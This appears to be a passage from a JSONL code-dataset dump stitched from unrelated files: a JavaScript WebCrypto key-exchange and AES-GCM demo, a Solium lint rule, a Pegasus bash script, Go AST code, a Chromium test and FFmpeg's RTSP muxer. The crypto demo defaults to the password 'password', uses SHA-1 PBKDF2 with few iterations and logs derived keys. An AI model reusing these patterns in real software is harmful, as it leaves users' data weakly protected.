window.polycrypt.digest(\"SHA-256\", userNonceHex);\n \n userNonceHashOp.onerror = function(e) {\n console.log(\"Failed to hash the user's nonce: \" + e.target.result);\n }\n\n userNonceHashOp.oncomplete = function(e) {\n console.log(\"Hashing is complete\");\n var temp = e.target.result;\n userNonceHashed = window.util.abv2hex(temp);\n console.log(\"Finished SHA :: \" + userNonceHashed);\n }\n } \n}; \n\n/*\n * This will encrypt the random hashed nonce with the other user's\n * public RSA key\n */\nvar encryptNonce = function(successCallback, failureCallback, element) {\n /* Update the GUI */\n /*\n document.getElementById(\"deriveKey\").disabled = false;\n document.getElementById(\"onb\").disabled = false;\n document.getElementById(\"unb\").disabled = false;\n\n document.getElementById(\"upkb\").disabled = true;\n document.getElementById(\"opkb\").disabled = true;\n\n document.getElementById(\"encryptNonce\").disabled = true;\n */\n\n /* Get the other user's RSA public key from the GUI */\n var otherPublicKeyJWK = document.getElementById(\"opkb\").value;\n console.log(\"Other Public Key: \" + JSON.stringify(otherPublicKeyJWK));\n console.log(\"Nonce to encrypt: \" + util.abv2hex(userNonceHex));\n\n /* Import the other user's public key */\n var importOp;\n try {\n importOp = window.polycrypt.importKey(\"jwk\", JSON.parse(otherPublicKeyJWK), \"RSAES-PKCS1-v1_5\", true, [\"encrypt\", \"decrypt\"]);\n } catch (e) {\n failureCallback(element, \"Unable to Extract Other Public Key\");\n return;\n }\n importOp.onerror = function(e) {\n console.log(\"Failed to extract the other RSA Key: \" + e.target.result);\n failureCallback(element);\n }\n\n importOp.oncomplete = function(e) {\n otherRSAPublicKey = e.target.result;\n console.log(\"Imported Other Public Key :\" + otherRSAPublicKey);\n \n /* Encrypt the user's hashed nonce with the other user's public key */\n var encryptOp = window.polycrypt.encrypt(\"RSAES-PKCS1-v1_5\", otherRSAPublicKey, userNonceHex);\n\n encryptOp.onerror = function(e) {\n console.log(\"ERROR with encrypt Operation\");\n console.log(e.target.result);\n failureCallback(element, \"Unable to encrypt your nonce\");\n };\n\n encryptOp.oncomplete = function(e) {\n var encryptedData = e.target.result;\n console.log(\"Encrypted Nonce!\");\n document.getElementById(\"unb\").value = util.abv2hex(encryptedData);\n successCallback();\n };\n };\n}\n\n/*\n * This will perform the key derivation procedure\n * The other user's public RSA key is required\n * The other user's Hashed Nonce encrypted with your public key is required\n *\n * First it will decrypt the other's encrypted Hashed Nonce using your private key\n * The derived key K will have the form: K = PBKDF2(password, H(N_user) XOR H(N_other),2048)\n */\nvar go = function(successCallback, failureCallback, element) {\n console.log(\"STARTED :: go\");\n\n console.log(\"STARTED :: Decrypting Other Nonce with User RSA Key\");\n console.log(\"Other Encrypted Nonce: \" + document.getElementById(\"onb\").value);\n\n if (document.getElementById(\"onb\").value == \"\") {\n failureCallback(element, \"Please enter the other user's encrypted nonce\");\n return;\n }\n\n /* Decrypt the other user's nonce using our public key */\n var decryptNonceOp = window.polycrypt.decrypt(\"RSAES-PKCS1-v1_5\", userRSAKey.privateKey, util.hex2abv(document.getElementById(\"onb\").value));\n\n decryptNonceOp.onerror = function(e) {\n console.log(\"error decrypting other nonce: \" + e.target.result);\n failureCallback(element, \"Error decrypting the other nonce. Please try again\");\n return;\n }\n\n decryptNonceOp.oncomplete = function(e) {\n console.log(\"other nonce: \" + util.abv2hex(e.target.result));\n\n /* Hash the other nonce using the other user's public key */\n var hashOtherNonceOp = polycrypt.digest(\"SHA-256\", e.target.result);\n \n hashOtherNonceOp.onerror = function(e) {\n console.log(\"ERROR! Unable to hash other nonce: \" + e.target.result);\n failureCallback(element, \"Unable to hash the other user's nonce. Please try again\");\n return;\n }\n\n hashOtherNonceOp.oncomplete = function(e) {\n console.log(\"Hashed other nonce: \" + util.abv2hex(e.target.result));\n console.log(\"Our hashed nonce: \" + userNonceHashed);\n\n /* Get the shared password from the user. If none exists,\n * use the word \"password\"\n */\n password = document.getElementById(\"pwb\").value;\n if (!password) {\n password = \"password\";\n }\n\n /* Generate the salt which is: salt = H(N_user) XOR H(N_other) */\n var generatedSalt = xor(e.target.result, util.hex2abv(userNonceHashed));\n \n /* Import the shared secret (password) as a RAW symmetric key for use with PBKDF2 */\n var importPasswordOp = window.polycrypt.importKey(\"raw\", util.hex2abv(password));\n \n importPasswordOp.onerror = function(e) {\n console.log(\"Error importing password: \" + e.target.result);\n failureCallback(element, \"Unable to import your password. Please try again\");\n return;\n }\n\n importPasswordOp.oncomplete = function(e) {\n var key = e.target.result;\n\n /* Derive a shared key using PBKDF2 and SHA-1 */\n var deriveKeyOp = window.polycrypt.deriveKey(\n {\n name: \"PBKDF2\",\n params: {\n salt: generatedSalt,\n iterations: 2048,\n prf: \"SHA-1\"\n }\n },\n key,\n {\n name: \"AES-GCM\",\n params: {length: 128}\n },\n true,\n [\"encrypt\", \"decrypt\"]\n );\n\n deriveKeyOp.onerror = function(e) {\n console.log(\"Unable to derive key: \" + e.target.result);\n failureCallback(element, \"Unable to derive a shared key. Please try again\");\n return;\n }\n\n deriveKeyOp.oncomplete = function(e) {\n derivedKey = e.target.result;\n successCallback();\n console.log(\"Derived the key!: \" + JSON.stringify(derivedKey)); \n }\n }\n }\n\n\n }\n\n /*\n document.getElementById(\"plaintext\").disabled = false;\n document.getElementById(\"ciphertext\").disabled = false;\n\n document.getElementById(\"encrypt\").disabled = false;\n document.getElementById(\"decrypt\").disabled = false;\n\n document.getElementById(\"upkb\").disabled = true;\n document.getElementById(\"opkb\").disabled = true;\n \n document.getElementById(\"unb\").disabled = true;\n document.getElementById(\"onb\").disabled = true;\n \n document.getElementById(\"pwb\").disabled = true;\n\n document.getElementById(\"deriveKey\").disabled = true;\n document.getElementById(\"encryptNonce\").disabled = true;\n */\n}\n\n/*\n * Computes the XOR of two byte arrays\n * Assumes the two byte arrays have the same length\n */\nvar xor = function(first, second) {\n var len = first.length;\n var result = new Uint8Array(len);\n\n for (var i = 0; i < len; i++) {\n result[i] = first[i] ^ second[i];\n }\n\n return result;\n}\n\n/*\n * Encrypt the text in \"plaintext\" and export it to \"ciphertext\"\n * Encrypted form: IV:Encrypted Data:Additional Data\n */\nvar encrypt = function() {\n var myIv = new Uint8Array(16);\n window.crypto.getRandomValues(myIv);\n\n var data = util.str2abv(document.getElementById(\"userPlaintext\").value);\n console.log(\"data: \" + util.abv2hex(data));\n\n var additional = new Uint8Array(16);\n window.crypto.getRandomValues(additional);\n\n var encryptOp = window.polycrypt.encrypt({\n name: \"AES-GCM\",\n params: {\n iv: myIv,\n additionalData: additional,\n tagLength: 128\n }\n }, derivedKey, data);\n \n encryptOp.onerror = function(e) {\n console.log(\"Failed to encrypt plaintext: \" + e.target.result);\n }\n\n encryptOp.oncomplete = function(e) {\n console.log(\"Encrypted plaintext: \" + e.target.result);\n\n var all = util.abv2hex(myIv) + \":\" + util.abv2hex(e.target.result) + \":\" + util.abv2hex(additional);\n document.getElementById(\"userCiphertext\").value = all;\n \n all = all.split(\":\");\n console.log(\"Encrypt IV: \" + all[0]);\n console.log(\"Encrypted Payload: \" + all[1]);\n console.log(\"Encrypt Additional Data: \" + all[2]);\n console.log(\"Additional Data Length: \" + util.hex2abv(all[2]).length * 8);\n }\n}\n\n/*\n * Decrypt the text in \"ciphertext\" and export it to \"plaintext\"\n */\nvar decrypt = function() {\n var all = document.getElementById(\"otherCiphertext\").value;\n \n /*\n * vals[0] = iv\n * vals[1] = output of block cipher\n * vals[2] = additionalData\n */\n var vals = all.split(\":\");\n\n console.log(\"Decrypt IV: \" + vals[0]);\n console.log(\"Encrypted Payload: \" + vals[1]);\n console.log(\"Decrypt Additional Data: \" + vals[2]);\n console.log(\"Additional Data Length: \" + util.hex2abv(vals[2]).length * 8);\n\n var decryptOp = window.polycrypt.decrypt({\n name: \"AES-GCM\",\n params: {\n iv: util.hex2abv(vals[0]),\n additionalData: util.hex2abv(vals[2]),\n tagLength: 128\n }\n }, derivedKey, util.hex2abv(vals[1]));\n \n decryptOp.onerror = function(e) {\n console.log(\"Error decrypting plaintext: \" + e.target.result);\n }\n\n decryptOp.oncomplete = function(e) {\n console.log(\"Decrypted ciphertext is: \" + util.abv2str(e.target.result)); \n document.getElementById(\"otherPlaintext\").value = util.abv2str(e.target.result);\n }\n}\n\n/*\n * Reset the entire page\n */\nvar reset = function() {\n document.location.reload(true);\n}\n"} +{"text": "\n \n \n \n A\n \n \n \n \n \n \n \n \n \n \n B\n \n \n \n"} +{"text": "/**\n * @fileoverview Ensure that no empty blocks exist\n * @author Raghav Dua \n */\n\n\"use strict\";\n\nmodule.exports = {\n\n meta: {\n\n docs: {\n recommended: true,\n type: \"warning\",\n description: \"Ensure that no empty blocks exist\"\n },\n\n schema: []\n\n },\n\n create(context) {\n\n function report(node, loc) {\n context.report({\n node, message: \"Code contains empty block\", location: loc });\n }\n\n function isFunc(node) {\n return node.type === \"FunctionDeclaration\";\n }\n\n function isConstructor(node) {\n return node.type === \"ConstructorDeclaration\";\n }\n\n function isFuncOrConstructor(node) {\n return isFunc(node) || isConstructor(node);\n }\n\n function isFallbackFunc(node) {\n return isFunc(node) && node.name === null;\n }\n\n function isPayable(funcNode) {\n for (let m of (funcNode.modifiers || [])) {\n if (m.name === \"payable\") { return true; }\n }\n return false;\n }\n\n function isPayableFuncOrCons(node) {\n return isFuncOrConstructor(node) && isPayable(node);\n }\n\n function inspectCLI(emitted) {\n let node = emitted.node,\n sourceCode = context.getSourceCode(), text = sourceCode.getText(node);\n\n if (emitted.exit) {\n return;\n }\n\n if (!node.body.length) {\n report(node, { column: text.indexOf(\"{\") });\n }\n }\n\n function inspectBlockStatement(emitted) {\n const { node } = emitted, { body } = node,\n parent = context.getSourceCode().getParent(node);\n\n if (emitted.exit || isFallbackFunc(parent) || isPayableFuncOrCons(parent)) {\n return;\n }\n\n if (Array.isArray(body) && body.length === 0) {\n if (isConstructor(parent)) {\n // If an empty block is a constructor func's body, then it shouldn't\n // be reported if the constructor is calling a base constructor.\n // The cons. must have a modifier with a name that is also present\n // in its enclosing contract's inheritance declaration. Eg-\n //\n // contract Foo is Bar {\n // constructor() Bar(\"hello\") {}\n // }\n //\n // See issue #264\n //\n // Since we can't fetch enclosing contract from the BlockStatement\n // node or its parent (due to current limitations), we use a\n // workaround to not report such a constructor.\n constructorsToCheckForBaseCall.push(parent.start);\n return;\n }\n\n report(node);\n }\n }\n\n function inspectConstructorDeclaration(emitted) {\n const { node } = emitted;\n\n if (!emitted.exit) {\n // Because parent of a node is not accessible during exit phase,\n // cache the parents of all constructors during entry so they\n // can be used during exit.\n enclosingContractsOfConstructors[node.start] = context.getSourceCode().getParent(node);\n return;\n }\n\n // No need to check the constructor currently being exited if it\n // isn't even flagged for empty block.\n if (!constructorsToCheckForBaseCall.includes(node.start)) {\n return;\n }\n\n // Run constructor inspection while exiting nodes.\n // By this time, the constructorsToCheckForBaseCall list has been\n // populated.\n const enclosingContract = enclosingContractsOfConstructors[node.start];\n\n // If node.modifiers is null, it means no modifiers exist for this\n // constructor and it should therefore be reported.\n for (let i = 0; i < (node.modifiers || []).length; i++) {\n const functionModif = node.modifiers[i].name;\n\n for (let j = 0; j < enclosingContract.is.length; j++) {\n // The constructor is calling a base cons, no need\n // to report it.\n if (enclosingContract.is[j].name === functionModif) {\n return;\n }\n }\n }\n\n report(node.body);\n }\n\n\n let constructorsToCheckForBaseCall = [], enclosingContractsOfConstructors = {};\n const similarNodeTypes = [\"ContractStatement\", \"LibraryStatement\", \"InterfaceStatement\"];\n\n const response = {\n BlockStatement: inspectBlockStatement,\n ConstructorDeclaration: inspectConstructorDeclaration\n };\n\n similarNodeTypes.forEach(function(nodeName) {\n response[nodeName] = inspectCLI;\n });\n\n return response;\n\n }\n\n};\n"} +{"text": "\n\n \n "} +{"text": "#!/bin/bash\n#\n# Check offline_node_list.sh and add_node_list.sh arguments.\n#\n\nPID=$$\n\nif [ $# -le 3 ]; then\n echo \"USAGE: $0 \"\n echo\n echo \"check_type includes: add_node_list, offline_node_list, for example:\"\n echo \" $0 add_node_list onebox 127.0.0.1:34601,127.0.0.1:34602 1,2,3\"\n echo\n exit 1\nfi\n\ncheck_type=$1\ncluster=$2\nmeta_list=$3\nreplica_task_id_list=$4\n\nif [ \"$check_type\" != \"add_node_list\" -a \"$check_type\" != \"offline_node_list\" ]; then\n echo \"ERROR: $check_type is invalid, only support \\\"add_node_list\\\" and \\\"offline_node_list\\\"\"\n exit 1\nfi\n\nsource ./scripts/minos_common.sh\nfind_cluster $cluster\nif [ $? -ne 0 ]; then\n echo \"ERROR: cluster \\\"$cluster\\\" not found\"\n exit 1\nfi\n\nid_list_file=\"/tmp/$UID.$PID.pegasus.$check_type.id_list\"\necho \"Generating $id_list_file...\"\nminos_show_replica $cluster $id_list_file\nreplica_server_count=`cat $id_list_file | wc -l`\nif [ $replica_server_count -eq 0 ]; then\n echo \"ERROR: replica server count is 0 by minos show\"\n exit 1\nfi\n\n\necho \"Generating /tmp/$UID.$PID.pegasus.$check_type.cluster_info...\"\necho cluster_info | ./run.sh shell --cluster $meta_list 2>&1 | sed 's/ *$//' >/tmp/$UID.$PID.pegasus.$check_type.cluster_info\ncname=`grep zookeeper_root /tmp/$UID.$PID.pegasus.$check_type.cluster_info | grep -o '/[^/]*$' | grep -o '[^/]*$'`\nif [ \"$cname\" != \"$cluster\" ]; then\n echo \"ERROR: cluster name and meta list not matched\"\n exit 1\nfi\npmeta=`grep primary_meta_server /tmp/$UID.$PID.pegasus.$check_type.cluster_info | grep -o '[0-9.:]*$'`\nif [ \"$pmeta\" == \"\" ]; then\n echo \"ERROR: extract primary_meta_server by shell failed\"\n exit 1\nfi\n\necho \"Generating /tmp/$UID.$PID.pegasus.$check_type.nodes_list...\"\necho nodes | ./run.sh shell --cluster $meta_list &>/tmp/$UID.$PID.pegasus.$check_type.nodes_list\nrs_port=`grep '^[0-9.]*:' /tmp/$UID.$PID.pegasus.$check_type.nodes_list | head -n 1 | grep -o ':[0-9]*' | grep -o '[0-9]*'`\nif [ \"$rs_port\" == \"\" ]; then\n echo \"ERROR: extract replica server port by shell failed\"\n exit 1\nfi\n\necho \"Checking replica task id list...\"\naddress_list=\"\"\nid_list=\"\"\nfor id in `echo $replica_task_id_list | sed 's/,/ /g'` ; do\n if [ \"$id_list\" != \"\" ]; then\n if echo \"$id_list\" | grep -q \"\\<$id\\>\" ; then\n echo \"ERROR: duplicate replica task id $id\"\n exit 1;\n fi\n fi\n pair=`grep \"^$id \" $id_list_file`\n if [ \"$pair\" == \"\" ]; then\n echo \"ERROR: replica task id $id not found, refer to $id_list_file\"\n exit 1;\n fi\n node_str=`echo $pair | awk '{print $2}'`\n node_ip=`getent hosts $node_str | awk '{print $1}'`\n node=${node_ip}:${rs_port}\n if [ \"$id_list\" != \"\" ]; then\n id_list=\"$id_list $id\"\n address_list=\"$address_list,$node\"\n else\n id_list=\"$id\"\n address_list=\"$node\"\n fi\ndone\n\nexport task_id_list=$id_list\n"} +{"text": "package ast\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n)\n\n// Output represents the root node of all interpolation evaluations. If the\n// output only has one expression which is either a TypeList or TypeMap, the\n// Output can be type-asserted to []interface{} or map[string]interface{}\n// respectively. Otherwise the Output evaluates as a string, and concatenates\n// the evaluation of each expression.\ntype Output struct {\n\tExprs []Node\n\tPosx Pos\n}\n\nfunc (n *Output) Accept(v Visitor) Node {\n\tfor i, expr := range n.Exprs {\n\t\tn.Exprs[i] = expr.Accept(v)\n\t}\n\n\treturn v(n)\n}\n\nfunc (n *Output) Pos() Pos {\n\treturn n.Posx\n}\n\nfunc (n *Output) GoString() string {\n\treturn fmt.Sprintf(\"*%#v\", *n)\n}\n\nfunc (n *Output) String() string {\n\tvar b bytes.Buffer\n\tfor _, expr := range n.Exprs {\n\t\tb.WriteString(fmt.Sprintf(\"%s\", expr))\n\t}\n\n\treturn b.String()\n}\n\nfunc (n *Output) Type(s Scope) (Type, error) {\n\t// Special case no expressions for backward compatibility\n\tif len(n.Exprs) == 0 {\n\t\treturn TypeString, nil\n\t}\n\n\t// Special case a single expression of types list or map\n\tif len(n.Exprs) == 1 {\n\t\texprType, err := n.Exprs[0].Type(s)\n\t\tif err != nil {\n\t\t\treturn TypeInvalid, err\n\t\t}\n\t\tswitch exprType {\n\t\tcase TypeList:\n\t\t\treturn TypeList, nil\n\t\tcase TypeMap:\n\t\t\treturn TypeMap, nil\n\t\t}\n\t}\n\n\t// Otherwise ensure all our expressions are strings\n\tfor index, expr := range n.Exprs {\n\t\texprType, err := expr.Type(s)\n\t\tif err != nil {\n\t\t\treturn TypeInvalid, err\n\t\t}\n\t\t// We only look for things we know we can't coerce with an implicit conversion func\n\t\tif exprType == TypeList || exprType == TypeMap {\n\t\t\treturn TypeInvalid, fmt.Errorf(\n\t\t\t\t\"multi-expression HIL outputs may only have string inputs: %d is type %s\",\n\t\t\t\tindex, exprType)\n\t\t}\n\t}\n\n\treturn TypeString, nil\n}\n"} +{"text": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#import \"ios/chrome/app/deferred_initialization_runner.h\"\n\n#import \"base/test/ios/wait_util.h\"\n#include \"base/time/time.h\"\n#include \"testing/platform_test.h\"\n\nTEST(DeferredInitializationRunnerTest, TestSharedInstance) {\n EXPECT_TRUE([DeferredInitializationRunner sharedInstance]);\n // Cancelling a non-existing block does nothing.\n [[DeferredInitializationRunner sharedInstance]\n cancelBlockNamed:@\"Invalid Name\"];\n}\n\n// Tests that all blocks added on the queue are executed after a delay.\nTEST(DeferredInitializationRunnerTest, TestRunBlockSequentially) {\n // Setup.\n __block bool firstFlag = NO;\n __block bool secondFlag = NO;\n DeferredInitializationRunner* runner =\n [DeferredInitializationRunner sharedInstance];\n ProceduralBlock firstBlock = ^() {\n EXPECT_FALSE(firstFlag);\n firstFlag = YES;\n };\n ProceduralBlock secondBlock = ^() {\n EXPECT_FALSE(secondFlag);\n secondFlag = YES;\n };\n ConditionBlock secondBlockRun = ^bool {\n return secondFlag;\n };\n runner.delayBetweenBlocks = 0.01;\n runner.delayBeforeFirstBlock = 0.01;\n\n [runner enqueueBlockNamed:@\"first block\" block:firstBlock];\n [runner enqueueBlockNamed:@\"second block\" block:secondBlock];\n\n ASSERT_FALSE(firstFlag);\n ASSERT_FALSE(secondFlag);\n EXPECT_EQ(2U, [runner numberOfBlocksRemaining]);\n\n // Action.\n base::test::ios::WaitUntilCondition(secondBlockRun);\n\n // Test.\n EXPECT_TRUE(firstFlag);\n EXPECT_TRUE(secondFlag);\n EXPECT_EQ(0U, [runner numberOfBlocksRemaining]);\n}\n\n// Tests that runBlockIfNecessary does not execute the block if it has already\n// been executed and runs synchronously the one not executed.\nTEST(DeferredInitializationRunnerTest, TestRunBlock) {\n // Setup.\n __block bool quickFlag = NO;\n __block bool slowFlag = NO;\n DeferredInitializationRunner* runner =\n [DeferredInitializationRunner sharedInstance];\n ProceduralBlock quickBlock = ^() {\n EXPECT_FALSE(quickFlag);\n quickFlag = YES;\n // Make sure we have time to go back to this test before running the second\n // task.\n runner.delayBetweenBlocks = 1;\n };\n ConditionBlock quickBlockRun = ^bool {\n return quickFlag;\n };\n ProceduralBlock slowBlock = ^() {\n EXPECT_FALSE(slowFlag);\n slowFlag = YES;\n };\n runner.delayBeforeFirstBlock = 0.01;\n\n // Action.\n [runner enqueueBlockNamed:@\"quick block\" block:quickBlock];\n [runner enqueueBlockNamed:@\"slow block\" block:slowBlock];\n\n // Test.\n base::test::ios::WaitUntilCondition(quickBlockRun);\n EXPECT_TRUE(quickFlag);\n EXPECT_FALSE(slowFlag);\n EXPECT_EQ(1U, [runner numberOfBlocksRemaining]);\n [runner runBlockIfNecessary:@\"quick block\"];\n [runner runBlockIfNecessary:@\"slow block\"];\n EXPECT_TRUE(quickFlag);\n EXPECT_TRUE(slowFlag);\n EXPECT_EQ(0U, [runner numberOfBlocksRemaining]);\n}\n\n// Tests that a block is not executed when cancelled and it is removed from the\n// remaining blocks list.\nTEST(DeferredInitializationRunnerTest, TestCancelBlock) {\n // Setup.\n __block BOOL blockFinished = NO;\n DeferredInitializationRunner* runner =\n [DeferredInitializationRunner sharedInstance];\n runner.delayBeforeFirstBlock = 0.01;\n runner.delayBetweenBlocks = 0.01;\n\n [runner enqueueBlockNamed:@\"cancel me\"\n block:^() {\n blockFinished = YES;\n }];\n ASSERT_EQ(1U, [runner numberOfBlocksRemaining]);\n\n // Action.\n [runner cancelBlockNamed:@\"cancel me\"];\n\n // Test.\n EXPECT_FALSE(blockFinished);\n EXPECT_EQ(0U, [runner numberOfBlocksRemaining]);\n}\n\n// Tests that a cancelled block will do nothing when run by name.\nTEST(DeferredInitializationRunnerTest, TestCancelledBlockDoNothing) {\n // Setup.\n __block BOOL blockFinished = NO;\n DeferredInitializationRunner* runner =\n [DeferredInitializationRunner sharedInstance];\n runner.delayBeforeFirstBlock = 0.01;\n runner.delayBetweenBlocks = 0.01;\n\n [runner enqueueBlockNamed:@\"cancel me\"\n block:^() {\n blockFinished = YES;\n }];\n\n // Action.\n [runner cancelBlockNamed:@\"cancel me\"];\n [runner runBlockIfNecessary:@\"cancel me\"];\n\n // Test: expect false, the block should never be executed because it was\n // cancelled before it started running.\n EXPECT_FALSE(blockFinished);\n}\n\n// Tests that adding a block with the same name as an existing block will\n// override the existing one.\nTEST(DeferredInitializationRunnerTest, TestSecondBlockInvalidatesFirst) {\n // Setup.\n __block int blockRunCount = 0;\n ProceduralBlock runBlock = ^() {\n ++blockRunCount;\n };\n DeferredInitializationRunner* runner =\n [DeferredInitializationRunner sharedInstance];\n runner.delayBeforeFirstBlock = 0.01;\n runner.delayBetweenBlocks = 0.01;\n\n // Action.\n [runner enqueueBlockNamed:@\"multiple\" block:runBlock];\n [runner enqueueBlockNamed:@\"multiple\" block:runBlock];\n\n // Test: |runBlock| was executed only once.\n EXPECT_EQ(1U, [runner numberOfBlocksRemaining]);\n [runner runBlockIfNecessary:@\"multiple\"];\n EXPECT_EQ(0U, [runner numberOfBlocksRemaining]);\n EXPECT_EQ(1, blockRunCount);\n}\n"} +{"text": "/*\n * RTSP muxer\n * Copyright (c) 2010 Martin Storsjo\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n */\n\n#include \"avformat.h\"\n\n#if HAVE_POLL_H\n#include \n#endif\n#include \"network.h\"\n#include \"os_support.h\"\n#include \"rtsp.h\"\n#include \"internal.h\"\n#include \"avio_internal.h\"\n#include \"libavutil/intreadwrite.h\"\n#include \"libavutil/avstring.h\"\n#include \"libavutil/time.h\"\n#include \"url.h\"\n\n#define SDP_MAX_SIZE 16384\n\nstatic const AVClass rtsp_muxer_class = {\n .class_name = \"RTSP muxer\",\n .item_name = av_default_item_name,\n .option = ff_rtsp_options,\n .version = LIBAVUTIL_VERSION_INT,\n};\n\nint ff_rtsp_setup_output_streams(AVFormatContext *s, const char *addr)\n{\n RTSPState *rt = s->priv_data;\n RTSPMessageHeader reply1, *reply = &reply1;\n int i;\n char *sdp;\n AVFormatContext sdp_ctx, *ctx_array[1];\n char url[1024];\n\n if (s->start_time_realtime == 0 || s->start_time_realtime == AV_NOPTS_VALUE)\n s->start_time_realtime = av_gettime();\n\n /* Announce the stream */\n sdp = av_mallocz(SDP_MAX_SIZE);\n if (!sdp)\n return AVERROR(ENOMEM);\n /* We create the SDP based on the RTSP AVFormatContext where we\n * aren't allowed to change the filename field. (We create the SDP\n * based on the RTSP context since the contexts for the RTP streams\n * don't exist yet.) In order to specify a custom URL with the actual\n * peer IP instead of the originally specified hostname, we create\n * a temporary copy of the AVFormatContext, where the custom URL is set.\n *\n * FIXME: Create the SDP without copying the AVFormatContext.\n * This either requires setting up the RTP stream AVFormatContexts\n * already here (complicating things immensely) or getting a more\n * flexible SDP creation interface.\n */\n sdp_ctx = *s;\n sdp_ctx.url = url;\n ff_url_join(url, sizeof(url),\n \"rtsp\", NULL, addr, -1, NULL);\n ctx_array[0] = &sdp_ctx;\n if (av_sdp_create(ctx_array, 1, sdp, SDP_MAX_SIZE)) {\n av_free(sdp);\n return AVERROR_INVALIDDATA;\n }\n av_log(s, AV_LOG_VERBOSE, \"SDP:\\n%s\\n\", sdp);\n ff_rtsp_send_cmd_with_content(s, \"ANNOUNCE\", rt->control_uri,\n \"Content-Type: application/sdp\\r\\n\",\n reply, NULL, sdp, strlen(sdp));\n av_free(sdp);\n if (reply->status_code != RTSP_STATUS_OK)\n return ff_rtsp_averror(reply->status_code, AVERROR_INVALIDDATA);\n\n /* Set up the RTSPStreams for each AVStream */\n for (i = 0; i < s->nb_streams; i++) {\n RTSPStream *rtsp_st;\n\n rtsp_st = av_mallocz(sizeof(RTSPStream));\n if (!rtsp_st)\n return AVERROR(ENOMEM);\n dynarray_add(&rt->rtsp_streams, &rt->nb_rtsp_streams, rtsp_st);\n\n rtsp_st->stream_index = i;\n\n av_strlcpy(rtsp_st->control_url, rt->control_uri, sizeof(rtsp_st->control_url));\n /* Note, this must match the relative uri set in the sdp content */\n av_strlcatf(rtsp_st->control_url, sizeof(rtsp_st->control_url),\n \"/streamid=%d\", i);\n }\n\n return 0;\n}\n\nstatic int rtsp_write_record(AVFormatContext *s)\n{\n RTSPState *rt = s->priv_data;\n RTSPMessageHeader reply1, *reply = &reply1;\n char cmd[1024];\n\n snprintf(cmd, sizeof(cmd),\n \"Range: npt=0.000-\\r\\n\");\n ff_rtsp_send_cmd(s, \"RECORD\", rt->control_uri, cmd, reply, NULL);\n if (reply->status_code != RTSP_STATUS_OK)\n return ff_rtsp_averror(reply->status_code, -1);\n rt->state = RTSP_STATE_STREAMING;\n return 0;\n}\n\nstatic int rtsp_write_header(AVFormatContext *s)\n{\n int ret;\n\n ret = ff_rtsp_connect(s);\n if (ret)\n return ret;\n\n if (rtsp_write_record(s) < 0) {\n ff_rtsp_close_streams(s);\n ff_rtsp_close_connections(s);\n return AVERROR_INVALIDDATA;\n }\n return 0;\n}\n\nint ff_rtsp_tcp_write_packet(AVFormatContext *s, RTSPStream *rtsp_st)\n{\n RTSPState *rt = s->priv_data;\n AVFormatContext *rtpctx = rtsp_st->transport_priv;\n uint8_t *buf, *ptr;\n int size;\n uint8_t *interleave_header, *interleaved_packet;\n\n size = avio_close_dyn_buf(rtpctx->pb, &buf);\n rtpctx->pb = NULL;\n ptr = buf;\n while (size > 4) {\n uint32_t packet_len = AV_RB32(ptr);\n int id;\n /* The interleaving header is exactly 4 bytes, which happens to be\n * the same size as the packet length header from\n * ffio_open_dyn_packet_buf. So by writing the interleaving header\n * over these bytes, we get a consecutive interleaved packet\n * that can be written in one call. */\n interleaved_packet = interleave_header = ptr;\n ptr += 4;\n size -= 4;\n if (packet_len > size || packet_len < 2)\n break;\n if (RTP_PT_IS_RTCP(ptr[1]))\n id = rtsp_st->interleaved_max; /* RTCP */\n else\n id = rtsp_st->interleaved_min; /* RTP */\n interleave_header[0] = '$';\n interleave_header[1] = id;\n AV_WB16(interleave_header + 2, packet_len);\n ffurl_write(rt->rtsp_hd_out, interleaved_packet, 4 + packet_len);\n ptr += packet_len;\n size -= packet_len;\n }\n av_free(buf);\n return ffio_open_dyn_packet_buf(&rtpctx->pb, RTSP_TCP_MAX_PACKET_SIZE);\n}\n\nstatic int rtsp_write_packet(AVFormatContext *s, AVPacket *pkt)\n{\n RTSPState *rt = s->priv_data;\n RTSPStream *rtsp_st;\n int n;\n struct pollfd p = {ffurl_get_file_handle(rt->rtsp_hd), POLLIN, 0};\n AVFormatContext *rtpctx;\n int ret;\n\n while (1) {\n n = poll(&p, 1, 0);\n if (n <= 0)\n break;\n if (p.revents & POLLIN) {\n RTSPMessageHeader reply;\n\n /* Don't let ff_rtsp_read_reply handle interleaved packets,\n * since it would block and wait for an RTSP reply on the socket\n * (which may not be coming any time soon) if it handles\n * interleaved packets internally. */\n ret = ff_rtsp_read_reply(s, &reply, NULL, 1, NULL);\n if (ret < 0)\n return AVERROR(EPIPE);\n if (ret == 1)\n ff_rtsp_skip_packet(s);\n /* XXX: parse message */\n if (rt->state != RTSP_STATE_STREAMING)\n return AVERROR(EPIPE);\n }\n }\n\n if (pkt->stream_index < 0 || pkt->stream_index >= rt->nb_rtsp_streams)\n return AVERROR_INVALIDDATA;\n rtsp_st = rt->rtsp_streams[pkt->stream_index];\n rtpctx = rtsp_st->transport_priv;\n\n ret = ff_write_chained(rtpctx, 0, pkt, s, 0);\n /* ff_write_chained does all the RTP packetization. If using TCP as\n * transport, rtpctx->pb is only a dyn_packet_buf that queues up the\n * packets, so we need to send them out on the TCP connection separately.\n */\n if (!ret && rt->lower_transport == RTSP_LOWER_TRANSPORT_TCP)\n ret = ff_rtsp_tcp_write_packet(s, rtsp_st);\n return ret;\n}\n\nstatic int rtsp_write_close(AVFormatContext *s)\n{\n RTSPState *rt = s->priv_data;\n\n // If we want to send RTCP_BYE packets, these are sent by av_write_trailer.\n // Thus call this on all streams before doing the teardown. This is\n // done within ff_rtsp_undo_setup.\n ff_rtsp_undo_setup(s, 1);\n\n ff_rtsp_send_cmd_async(s, \"TEARDOWN\", rt->control_uri, NULL);\n\n ff_rtsp_close_streams(s);\n ff_rtsp_close_connections(s);\n ff_network_close();\n 